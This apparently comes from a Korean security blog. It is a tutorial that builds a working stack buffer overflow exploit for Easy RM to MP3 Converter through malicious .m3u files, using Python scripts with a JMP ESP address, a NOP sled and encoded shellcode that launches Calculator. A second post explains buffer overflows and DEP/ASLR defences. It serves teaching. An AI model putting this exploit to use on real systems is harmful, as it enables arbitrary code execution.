3) 아직 넘치지 않았기 때문에 30,000개로 변경하고, 실행하여 생성한 파일을 다시 로딩하면 이번에는 위와 같은 정상적인 메시지가 아닌 것을 확인할 수 있다.


filename = 'crash30000.m3u'
junk = 'A' * 30000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




4) 위에서 나온 창에서 오류에 관한 자세한 정보를 보기 위해 ‘여기를 클릭하십시요’를 클릭하면 아래와 같이 나오고, 오류 보고에 관한 기술 정보를 보려면 ‘여기를 클릭하십시요’를 누르면 아래와 같이 자세하게 볼 수 있다. 오류 내용을 확인해보면 Address가 41414141인 것을 볼 수 있는데 이는 버퍼가 넘쳐서 Return Address를 덮어 씌워져 엉뚱한 주소(41414141)로 점프한 것을 확인할 수 있다.





5) 이번에는 EIP를 내가 원하는 주소로 변경하기 위해 버퍼의 크기를 알아낼 것이다. 그래서 'A' 25,000개와 'B' 5,000개를 입력으로 스크립트를 수정한다. 아래 스크립트를 실행한 파일을 해당 프로그램에 로딩하면 역시 오류가 발생하고, 위에서 확인한 것처럼 Address를 확인해보면 42424242, 즉 버퍼가 25,000개에서 30,000개 사이인 것을 알 수 있다.


filename = 'crash250000+5000.m3u'
junk = 'A' * 25000 + 'B' * 5000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




6) Kali Linux에서 제공하는 pattern_create.rb(usage: ./pattern_create.rb <패턴의 개수>)를 이용하여 5,000 byte의 패턴을 생성하고, 스크립트에 삽입한다.



filename = 'crash250000+5000_2.m3u'
junk = 'A' * 25000 + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9...Gk0Gk1Gk2Gk3Gk4Gk5Gk' # created pattern

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename



7) 위에서 수정한 스크립트를 실행하여 m3u 파일을 생성하여 프로그램에 로딩하면 역시 오류가 발생합니다. 오류가 난 Address를 확인해보면 42376b42인 것을 볼 수 있습니다.



8) 위에서 확인한 주소(42376b42)를 pattern_offset.rb(usage: ./pattern_offset.rb <offset> <생성했던 패턴 개수>)를 실행하면 offset이 1101임을 확인할 수 있습니다. 즉, return address 전까지의 버퍼의 크기는 26101(=25000+1101)이 됩니다.




2. EIP & 스택 조작


1) 버퍼의 크기를 알았으니 EIP를 원하는 주소로 스크립트를 수정합니다. 그리고 아래 스크립트를 실행하여 파일을 생성한다.


filename = 'crash42424242.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'C' * 160

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()

print '[+] file(%s) created successfully' % filename



2) Easy RM to MP3 Converter 프로그램을 실행시킨 뒤, OllyDbg를 실행하여 File > Attach하고 실행(Debug > Run, F9)한다.




3) 위의 스크립트에서 생성된 파일을 로딩시키면 아래와 같이 멈추는데, 이 때 EIP 값이 42424242이고, 스택 한 43434343(CCCC)로 가득 채워지는 것을 확인할 수 있다. 하지만 실제로 스택의 top에도 43434343(CCCC)가 있을 것이다.




4) 이번에는 스택 상단에 정확히 원하는 값을 넣고자 EIP(42424242) 다음에 몇 byte가 사용되지 않는지 확인하기 위해 아래와 같이 코드를 수정한다.


filename = 'crashesp.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()

print '[+] file(%s) created successfully' % filename



5) 위와 같이 프로그램을 Attach한 다음 생성한 m3u 파일을 로딩한다. 그리고 스택을 보면 42424242 다음에 44434241이 pop 되어있고 ESP가 가리키는 데이터는 48474645임을 확인할 수 있다. 무슨 용도로 pop이 되는지 알고자 한다면 프로그램을 분석해야 하지만 프로그래밍을 해본 경험을 바탕으로 추측해본다면 m3u 파일을 로딩하는 함수의 매개변수가 한 개 사용했기 때문에 pop을 함으로써 4 byte가 소모 되는 것으로 생각된다.

참고(정확한 이유) >> https://www.corelan.be/index.php/forum/exploit-writing-win32-stack-bof-direct-ret/question-about-esp-in-tutorial-pt1/




6) 위에서 4 byte가 pop 되는 것을 확인하였고, EIP 다음에 pop 될 데이터와 ESP가 가리키는 데이터를 ‘C’로 채워 수정한다. 그리고 아래 스크립트를 실행하여 m3u 파일을 생성한다.


filename = 'crashesp_2.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = '0000'
junk3 = 'C' * 160

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.write(junk3)
file.close()

print '[+] file(%s) created successfully' % filename



7) 위에서 생성된 파일을 로딩시키면 EIP가 42424242, 스택 Top 데이터는 43434343으로 채워지는 것을 확인할 수 있다.






3. 쉘 코드 삽입


1) 이번엔 EIP를 ESP 값을, junk2를 ‘\x90(NOP)’ 4 byte, junk3을 shellcode로 변경하여 작성하고, 실행한다.


from struct import pack

filename = 'crashshell.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x000FF730)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



2) 위에서 생성된 파일을 로딩시켜보면 실행될 것이라 생각했던 쉘 코드가 실행되지 않고, 스택 Top 데이터가 원하는 값이 아닌 것을 확인할 수 있다. 문제점으로는 점프하려 했던 0x000FF730은 NULL 바이트(종단 문자)를 가지고 있으므로, 원하는 지점까지 프로그램이 도달하지 못한다. 그리고 특정 메모리로 직접 점프하는 방법은 좋은 방법이 아니다. 그렇기 때문에 ESP로 점프하는 명령어(JMP ESP, CALL ESP, PUSH ESP / RETN, …)를 찾고 EIP가 그 함수를 호출하도록 하는 것이 좋다.




3) findjmp.exe(usage: findjmp.exe <DLL> <Register>)를 사용하여 JMP ESP 명령어를 검색한다. 이 프로그램을 사용하지 않고 디버거를 이용하여 실행 가능한 영역에서 JMP ESP 혹은 CALL ESP, PUSH ESP / RETN 등 기계어를 검색하는 방법이 있다.




4) 위에서 NULL 바이트가 없는 주소를 선택하여 eip 변수에 넣어서 실행한다.


from struct import pack

filename = 'crashshell_2.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



5) 위의 파일을 로딩해보면 실패한 것을 확인할 수 있다. 이유를 생각해보면 JMP ESP 명령어가 실행할 때 ESP 값이 항상 0x000FF730 값일 리는 없을 것이다.




6) 그렇기 때문에 ‘\x90(NOP)’의 개수를 40개로 늘려 수정하고, 실행하여 m3u 파일을 생성한다.


from struct import pack

filename = 'crash.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 40
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



7) 생성한 파일을 해당 프로그램에 로딩시키면 오류가 발생하지만(쉘 코드가 실행이 되고 이상한 코드가 실행이 되지만 예외처리를 하지 않았기 때문으로 추측) 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.






참고

KISEC에서 편역한 Exploit Writing 1 스택 기반 오버플로우


Written by dinger from SecurityInsight Research Group.

버퍼 오버플로우(BOF, Buffer Overflow)


버퍼 오버플로우는 할당된 버퍼 크기 이상의 데이터가 삽입되었을 때 다른 데이터 영역까지 침범하는 취약점이다. 공격하는 메모리 버퍼의 종류에 따라 스택 기반 버퍼 오버플로우 혹은 힙 기반 버퍼 오버플로우라고 불린다. 이 취약점은 사용자의 입력 값의 크기를 제한하지 않을 때 발생한다.



스택 기반 버퍼 오버플로우


스택 기반 버퍼 오버플로우 공격에 취약한 예제 프로그램을 이용하여 설명한다(모든 예제는 어떤 보호기법도 적용되지 않음을 가정한다).


#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[])
{
    char buffer[16];
    strcpy(buffer, argv[1]);
    printf(“%s\n”, buffer);
    return 0;
}


위 코드는 입력된 첫 번째 매개변수를 버퍼에 담아서 출력하는 코드이다. 여기서 strcpy 함수는 복사할 매개변수(argv[1])의 크기를 확인하지 않고 복사될 매개변수(buffer)에 복사하기 때문에 strcpy 함수가 취약하다.


위 그림에서 첫 번째 그림은 매개변수(argv[1])를 ‘A’ 11개, 두 번째 그림은 ‘A’ 15개, 세 번째 그림은 ‘A’ 23개를 입력했을 경우이다. 19개까지 입력해도 아무 이상 없지만 20개를 넘으면 버퍼를 넘어서 SFP(Saved Frame Pointer)와 Return Address를 덮어 쓰여져 의도치 않은 코드를 실행할 가능성이 있다.



힙 기반 버퍼 오버플로우


힙 기반 버퍼 오버플로우 공격에 취약한 예제 프로그램을 이용하여 설명한다.


#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned int addrdif;
    char* buf1 = (char*)malloc(sizeof(char) * 8);
    char* buf2 = (char*)malloc(sizeof(char) * 8);

    addrdif = (unsigned int)buf2 - (unsigned int)buf1;
    memset(buf2, ‘A’, 7);
    buf2[7] = ‘\0’;
    printf(“buf2: %s\n”, buf2);

    memset(buf1, ‘B’, (unsigned int)(addrdif + 4));
    printf(“buf2: %s\n”, buf2);

    return 0;
}


위 코드는 각각 8 byte 동적 할당하고 두 번째 할당 받은 메모리를 ‘A’ 7개할당 받은 주소의 차를 구한다. 그리고 두 번째 할당 받은 메모리를 ‘A’ 7개로 초기화하고, 첫 번째 할당 받은 메모리에 주소 차에 4을 더한 만큼 ‘B’를 채운다.




첫 번째 그림은 위 코드가 실행되는 동안의 스택이고, 두 번째 그림은 첫 memset 함수가 실행되고 다음 줄까지 실행한 힙, 세 번째 그림은 다음 memset 함수가 실행되었을 때의 힙의 모습이다. 첫 번째 memset 함수와 마지막 바이트를 NULL로 채우고 출력하면 ‘A’가 7개가 출력이 되고, 두 번째 memset 함수를 실행하면 buf2의 크기인 8을 넘어서 buf1까지 침범하여 ‘A’ 7개가 아닌 ‘BBBBAAA’가 출력된다. 즉, memset 함수를 사용할 때 메모리 크기를 확인하지 않았기 때문에 이처럼 메모리를 침범하는 문제가 발생한다.



대응 방안


버퍼 오버플로우를 대응하기 위한 방법으로는 DEP, ASLR 등이 있다. DEP(Data Execution Prevention)는 실행되지 말아야 하는 메모리 영역에서 코드의 실행을 방지하여 임의의 코드가 실행되는 것을 방지하는 방어 기법이다. Windows에서 사용되며 Linux의 NX-bit와 같은 것이다. 그리고 ASLR(Address Space Layout Randomization)은 PE 파일(exe, dll 등)이 실행될 때마다 즉, 메모리에 로딩될 때마다 Image Base값을 계속 변경해주는 기법이다.





참고

해커스쿨에서 출간한 버퍼 오버플로우에 관한 책(리눅스 상에서의 BOF)

'Buffer Overflow 보호 기법 및 우회 기법' NSHC 문서

정보 보안 개론과 실습 - 시스템 해킹과 보안


Written by dinger from SecurityInsight Research Group.

+ Recent posts